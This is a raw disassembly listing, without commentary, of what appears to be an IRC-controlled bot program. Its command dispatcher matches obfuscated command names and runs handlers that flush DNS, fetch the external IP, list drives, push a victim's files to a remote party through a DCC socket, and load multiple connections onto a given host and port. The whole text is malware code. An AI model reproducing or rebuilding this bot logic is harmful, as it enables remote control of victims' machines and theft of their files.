		call	eax ; dword_454218
		test	eax, eax
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		jz	short loc_4057D0
		mov	esi, offset aSDnsCacheFlush ; "%s DNS cache flushed."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4057D0:				; CODE XREF: sub_403B2C+1C98j
		mov	esi, offset aSFailedToFlu_0 ; "%s Failed to flush DNS cache."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4057DA:				; CODE XREF: sub_403B2C+1C8Dj
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aSFailedToLoadD ; "%s Failed to load dnsapi.dll."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4057E9:				; CODE XREF: sub_403B2C+1C84j
		push	dword ptr [esi]
		push	offset a4rmbzFcic21 ; "4RmBz/FCic21"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40580C
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_418B58
		add	esp, 0Ch
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40580C:				; CODE XREF: sub_403B2C+1CC8j
		push	dword ptr [esi]
		push	offset aSc_coSwlk_ ; "SC.Co/swLK/."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405903
		push	offset byte_44D6A4
		push	offset dword_4552D0
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405841
		push	offset dword_4552D0
		call	sub_414173
		test	eax, eax
		pop	ecx
		jz	short loc_4058AB


loc_405841:				; CODE XREF: sub_403B2C+1D04j
		cmp	[ebp+arg_14], 0
		jnz	short loc_405865
		cmp	[ebp+arg_18], 0
		jnz	short loc_40586B
		push	offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k."
		push	offset aSObtainingExte ; "%s Obtaining external	IP"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_405865:				; CODE XREF: sub_403B2C+1D19j
		cmp	[ebp+arg_18], 0
		jz	short loc_405882


loc_40586B:				; CODE XREF: sub_403B2C+1D1Fj
		push	offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k."
		push	offset aSObtainingExte ; "%s Obtaining external	IP"
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h


loc_405882:				; CODE XREF: sub_403B2C+1D3Dj
		mov	ecx, [ebp+arg_10]
		call	sub_41111B
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_4105B8
		push	2710h
		push	eax
		mov	[ebp+arg_C], eax
		call	dword_42F064	; WaitForSingleObject
		push	[ebp+arg_C]
		call	dword_42F038	; CloseHandle


loc_4058AB:				; CODE XREF: sub_403B2C+1D13j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4058EC
		and	[ebp+arg_4], 0
		and	[ebp+arg_C], 0
		push	eax
		push	offset aSasd20nmhk50 ; "sAsD20NmhK50"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4058CF
		mov	[ebp+arg_C], 1
		jmp	short loc_4058E4
; ---------------------------------------------------------------------------


loc_4058CF:				; CODE XREF: sub_403B2C+1D98j
		push	dword ptr [esi+4]
		push	offset aKxor8_os17a0 ; "KxOR8.oS17a0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4058E4
		mov	[ebp+arg_4], 1


loc_4058E4:				; CODE XREF: sub_403B2C+1DA1j
					; sub_403B2C+1DAFj
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		jmp	short loc_4058F0
; ---------------------------------------------------------------------------


loc_4058EC:				; CODE XREF: sub_403B2C+1D84j
		push	0
		push	1


loc_4058F0:				; CODE XREF: sub_403B2C+1DBEj
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_418F30
		jmp	loc_40A5CD
; ---------------------------------------------------------------------------


loc_405903:				; CODE XREF: sub_403B2C+1CEBj
		push	dword ptr [esi]
		push	offset aWyf3k1fthkz_ ; "WyF3K1fTHKz."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405B21
		push	7
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_405966
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		jnz	short loc_40594F
		cmp	[ebp+arg_18], 0
		jnz	short loc_405959
		push	eax
		push	offset aDrivesList ; "Drives List"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40594F:				; CODE XREF: sub_403B2C+1E05j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_405959:				; CODE XREF: sub_403B2C+1E0Bj
		push	[ebp+arg_C]
		push	offset aDrivesList ; "Drives List"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_405966:				; CODE XREF: sub_403B2C+1DF5j
		mov	eax, [ebp+arg_10]
		cmp	[ebp+arg_18], 0
		mov	[ebp+var_960], eax
		lea	eax, [ebp+var_95C]
		jnz	short loc_405980
		push	dword ptr [edi+0Ch]
		jmp	short loc_405982
; ---------------------------------------------------------------------------


loc_405980:				; CODE XREF: sub_403B2C+1E4Dj
		push	dword ptr [edi]


loc_405982:				; CODE XREF: sub_403B2C+1E52j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_14]
		xor	ecx, ecx
		mov	[ebp+var_8AC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_8CC], ecx
		mov	[ebp+var_8C8], ecx
		mov	[ebp+var_8A4], ecx
		mov	[ebp+var_8A8], eax
		mov	eax, [esi+4]
		cmp	eax, ecx
		jz	loc_405A72
		push	eax
		push	offset aKxor8_os17a0 ; "KxOR8.oS17a0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4059D2
		mov	[ebp+var_8CC], 1
		jmp	short loc_4059EA
; ---------------------------------------------------------------------------


loc_4059D2:				; CODE XREF: sub_403B2C+1E98j
		push	dword ptr [esi+4]
		push	offset aSasd20nmhk50 ; "sAsD20NmhK50"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4059EA
		mov	[ebp+var_8C8], 1


loc_4059EA:				; CODE XREF: sub_403B2C+1EA4j
					; sub_403B2C+1EB2j
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_405A69
		push	eax
		push	offset aCwxsh_xflvu_ ; "cwXsH.xFlvu."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_405A5E
		cmp	[ebp+var_8CC], eax
		jnz	short loc_405A1F
		cmp	[ebp+var_8C8], eax
		lea	eax, [ebp+var_95C]
		jnz	short loc_405A3D
		push	offset aKb	; "KB"
		push	400h
		jmp	short loc_405A47
; ---------------------------------------------------------------------------


loc_405A1F:				; CODE XREF: sub_403B2C+1ED7j
		cmp	[ebp+var_8C8], eax
		jnz	loc_40AF54
		push	offset aMb	; "MB"
		push	100000h
		lea	eax, [ebp+var_95C]
		jmp	short loc_405A47
; ---------------------------------------------------------------------------


loc_405A3D:				; CODE XREF: sub_403B2C+1EE5j
		push	offset aGb	; "GB"
		push	40000000h


loc_405A47:				; CODE XREF: sub_403B2C+1EF1j
					; sub_403B2C+1F0Fj
		push	[ebp+var_8A8]
		push	[ebp+var_960]
		push	eax
		call	sub_4153BB
		jmp	loc_40A5CD
; ---------------------------------------------------------------------------


loc_405A5E:				; CODE XREF: sub_403B2C+1ECFj
		mov	eax, [esi+8]
		mov	[ebp+var_8D8], eax
		jmp	short loc_405A78
; ---------------------------------------------------------------------------


loc_405A69:				; CODE XREF: sub_403B2C+1EC3j
		and	[ebp+var_8D8], 0
		jmp	short loc_405A78
; ---------------------------------------------------------------------------


loc_405A72:				; CODE XREF: sub_403B2C+1E88j
		mov	[ebp+var_8D8], ecx


loc_405A78:				; CODE XREF: sub_403B2C+1F3Bj
					; sub_403B2C+1F44j
		mov	ebx, offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	ebx
		push	offset aSDrives	; "%s Drives"
		push	7
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_8DC], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_960]
		push	esi
		push	eax
		push	offset sub_415686
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_8DC]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_405B14
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_405AF1
		cmp	[ebp+arg_18], 0
		jnz	short loc_405AFB
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aDrives	; "Drives"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_405AF1:				; CODE XREF: sub_403B2C+1FA1j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_405AFB:				; CODE XREF: sub_403B2C+1FA7j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aDrives	; "Drives"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_403B2C+1FEEj
		push	32h
		call	dword_42F15C	; Sleep


loc_405B14:				; CODE XREF: sub_403B2C+1F96j
		cmp	[ebp+var_8A4], esi
		jz	short loc_405B0C
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_405B21:				; CODE XREF: sub_403B2C+1DE2j
		push	dword ptr [esi]
		push	offset aHpmch0pbq800 ; "HPmCH0PbQ800"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405ECC
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_405B6F
		cmp	[ebp+arg_14], ebx
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		jnz	short loc_405B5C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_405B65
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_405B5C:				; CODE XREF: sub_403B2C+2015j
		cmp	[ebp+arg_18], ebx
		jz	loc_40AF54


loc_405B65:				; CODE XREF: sub_403B2C+201Aj
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		jmp	loc_40ADA0
; ---------------------------------------------------------------------------


loc_405B6F:				; CODE XREF: sub_403B2C+200Bj
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_1530],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1320],	eax
		cmp	eax, ebx
		mov	[ebp+var_131C],	ecx
		lea	eax, [ebp+var_13A8]
		jnz	short loc_405B99
		push	dword ptr [edi+0Ch]
		jmp	short loc_405B9B
; ---------------------------------------------------------------------------


loc_405B99:				; CODE XREF: sub_403B2C+2066j
		push	dword ptr [edi]


loc_405B9B:				; CODE XREF: sub_403B2C+206Bj
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	80h
		lea	eax, [ebp+var_1428]
		push	dword ptr [edi]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_152C]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 18h
		lea	eax, [ebp+var_152C]
		mov	[ebp+var_60], ebx
		mov	[ebp+arg_0], ebx
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		push	80000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_8], eax
		jnz	short loc_405C02
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	offset aSNoFile	; "%s No file"
		jmp	loc_405CB6
; ---------------------------------------------------------------------------


loc_405C02:				; CODE XREF: sub_403B2C+20C5j
		push	ebx
		push	[ebp+arg_8]
		call	dword_42F05C	; GetFileSize
		push	ebx
		push	1
		push	2
		mov	edi, eax
		call	dword_42F29C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_C], eax
		jnz	short loc_405C30
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	offset aSInvalidSocket ; "%s Invalid Socket"
		jmp	loc_405CB6
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_403B2C+20F3j
		push	10h
		lea	eax, [ebp+var_70]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	esi, 400h
		push	0FA00h
		push	esi
		mov	[ebp+var_70], 2
		call	sub_41409E
		add	esp, 14h
		push	eax
		call	dword_42F2B8	; ntohs
		mov	word ptr [ebp+var_6E], ax
		lea	eax, [ebp+var_70]
		push	10h
		push	eax
		push	[ebp+arg_C]
		mov	[ebp+var_6E+2],	ebx
		call	dword_42F268	; bind
		test	eax, eax
		jz	short loc_405C82
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	offset aSSocketBindErr ; "%s Socket Bind Error"
		jmp	short loc_405CB6
; ---------------------------------------------------------------------------


loc_405C82:				; CODE XREF: sub_403B2C+2148j
		push	10h
		pop	eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_5C], eax
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		push	[ebp+arg_C]
		call	dword_42F26C	; getsockname
		push	1
		push	[ebp+arg_C]
		call	dword_42F270	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405CCA
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		push	offset aSSocketError ; "%s Socket Error"


loc_405CB6:				; CODE XREF: sub_403B2C+20D1j
					; sub_403B2C+20FFj ...
		lea	eax, [ebp+var_13A8]
		push	eax
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	loc_404857
; ---------------------------------------------------------------------------


loc_405CCA:				; CODE XREF: sub_403B2C+217Ej
		push	offset dword_455388
		call	dword_42F274	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_152C]
		push	eax
		lea	eax, [ebp+var_1428]
		push	offset aSendingYouS ; "Sending you %s"
		push	eax
		push	[ebp+arg_10]
		call	sub_410491
		lea	eax, [ebp+var_152C]
		push	offset dword_455388
		push	eax
		lea	eax, [ebp+var_1428]
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		push	eax
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 30h
		push	edi
		push	[ebp+var_6E]
		call	dword_42F278	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_58]
		call	dword_42F27C	; ntohl
		push	eax
		lea	eax, [ebp+var_152C]
		push	eax
		lea	eax, [ebp+var_1428]
		push	offset aSDDI	; "%s %d %d %i"
		push	eax
		push	[ebp+arg_10]
		call	sub_410557
		mov	eax, [ebp+arg_C]
		add	esp, 1Ch
		mov	[ebp+var_45E4],	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_45E8]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_78], 2Dh
		mov	[ebp+var_74], ebx
		mov	[ebp+var_45E8],	1
		call	dword_42F280	; select
		test	eax, eax
		jg	short loc_405DC9
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		lea	eax, [ebp+var_13A8]
		push	offset aSTimedOutClosi ; "%s Timed Out,	closing	connection."
		push	eax
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h
		push	[ebp+arg_8]
		call	dword_42F038	; CloseHandle
		push	[ebp+arg_C]
		mov	esi, dword_42F298
		call	esi ; dword_42F298
		push	ebx
		call	esi ; dword_42F298
		jmp	loc_404808
; ---------------------------------------------------------------------------


loc_405DC9:				; CODE XREF: sub_403B2C+2263j
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	eax
		push	[ebp+arg_C]
		call	dword_42F284	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_405E87
		push	[ebp+arg_C]
		call	dword_42F298	; closesocket
		mov	[ebp+arg_4], edi


loc_405DF5:				; CODE XREF: sub_403B2C+2355j
		push	esi
		lea	eax, [ebp+var_58DC]
		push	ebx
		push	eax
		mov	[ebp+arg_68], esi
		call	sub_4221F0
		add	esp, 0Ch
		cmp	[ebp+arg_4], esi
		jnb	short loc_405E14
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_68], eax


loc_405E14:				; CODE XREF: sub_403B2C+22E0j
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	dword_42F058	; SetFilePointer
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		lea	eax, [ebp+var_58DC]
		push	[ebp+arg_68]
		push	eax
		push	[ebp+arg_8]
		call	dword_42F054	; ReadFile
		push	ebx
		lea	eax, [ebp+var_58DC]
		push	[ebp+arg_68]
		push	eax
		push	[ebp+var_4]
		call	dword_42F288	; send
		mov	[ebp+arg_68], eax
		push	ebx
		lea	eax, [ebp+var_58DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_42F28C	; recv
		mov	ecx, [ebp+arg_0]
		mov	[ebp+arg_4], edi
		add	ecx, [ebp+arg_68]
		sub	[ebp+arg_4], ecx
		mov	[ebp+arg_0], ecx
		cmp	[ebp+arg_4], 1
		jb	short loc_405E87
		cmp	[ebp+arg_68], 1
		jb	short loc_405E87
		cmp	eax, 1
		jnb	loc_405DF5


loc_405E87:				; CODE XREF: sub_403B2C+22B7j
					; sub_403B2C+234Aj ...
		mov	eax, [ebp+arg_0]
		cdq
		idiv	esi
		shr	edi, 0Ah
		push	edi
		push	eax
		push	offset aX1pikRo_tl_ ; "X1PIk/rO.TL."
		lea	eax, [ebp+var_13A8]
		push	offset aSConnectionClo ; "%s Connection	closed:	(%i/%ikB sent)."
		push	eax
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h
		push	[ebp+arg_8]
		call	dword_42F038	; CloseHandle
		push	[ebp+arg_C]
		mov	esi, dword_42F298
		call	esi ; dword_42F298
		push	[ebp+var_4]
		call	esi ; dword_42F298
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_405ECC:				; CODE XREF: sub_403B2C+2000j
		push	dword ptr [esi]
		push	offset aLees11vpbnf0 ; "LeEs11vPbnf0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_407600
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		push	dword ptr [esi+4]
		push	offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405FCD
		xor	ecx, ecx
		cmp	[esi+4], ecx
		jz	loc_4067DD
		cmp	[esi+8], ecx
		jz	loc_4067DD
		cmp	[esi+0Ch], ecx
		jz	loc_4067DD
		mov	eax, [esi+10h]
		cmp	eax, ecx
		jz	loc_4067DD
		push	eax
		call	sub_422B5A
		cmp	eax, 0Ah
		pop	ecx
		jle	short loc_405F3F
		mov	ebx, offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		mov	esi, offset aSTooMuchConns_ ; "%s Too Much conns."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_405F3F:				; CODE XREF: sub_403B2C+2402j
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_4035A8
		add	esp, 0Ch
		cmp	[ebp+arg_14], 0
		jnz	short loc_405F99
		cmp	[ebp+arg_18], 0
		jnz	short loc_405F9F
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		push	offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_405F99:				; CODE XREF: sub_403B2C+2436j
		cmp	[ebp+arg_18], 0
		jz	short loc_405FCD


loc_405F9F:				; CODE XREF: sub_403B2C+243Cj
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		push	offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_405FCD:				; CODE XREF: sub_403B2C+23CAj
					; sub_403B2C+2471j
		push	dword ptr [esi+4]
		push	offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406080
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_406080
		push	eax
		lea	eax, [ebp+var_3DD8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_406051


loc_40600F:				; CODE XREF: sub_403B2C+2523j
		mov	eax, [ebp+arg_C]
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_406046
		push	eax
		lea	eax, [ebp+var_6CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6CAC]
		push	100h
		push	eax
		lea	eax, [ebp+var_3DD8]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_406046:				; CODE XREF: sub_403B2C+24EBj
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40600F


loc_406051:				; CODE XREF: sub_403B2C+24E1j
		lea	eax, [ebp+var_3DD8]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_406080:				; CODE XREF: sub_403B2C+24B2j
					; sub_403B2C+24BDj
		push	dword ptr [esi+4]
		push	offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40630A
		cmp	[esi+0Ch], eax
		jz	loc_40630A
		call	sub_4220FC
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 41h
		mov	byte ptr [ebp+arg_C+3],	dl
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, byte ptr [ebp+arg_C+3]
		push	edx
		push	eax
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		push	0Fh
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_12CAC]
		push	edx
		push	offset dword_435610
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_12CAC]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		add	esp, 0D0h
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		pop	ecx


loc_40630A:				; CODE XREF: sub_403B2C+2565j
					; sub_403B2C+256Ej
		push	dword ptr [esi+4]
		push	offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406525
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_406525
		push	eax
		lea	eax, [ebp+var_44E4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_40638E


loc_40634C:				; CODE XREF: sub_403B2C+2860j
		mov	eax, [ebp+arg_C]
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_406383
		push	eax
		lea	eax, [ebp+var_6CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6CAC]
		push	100h
		push	eax
		lea	eax, [ebp+var_44E4]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_406383:				; CODE XREF: sub_403B2C+2828j
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40634C


loc_40638E:				; CODE XREF: sub_403B2C+281Ej
		lea	eax, [ebp+var_44E4]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_435600
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
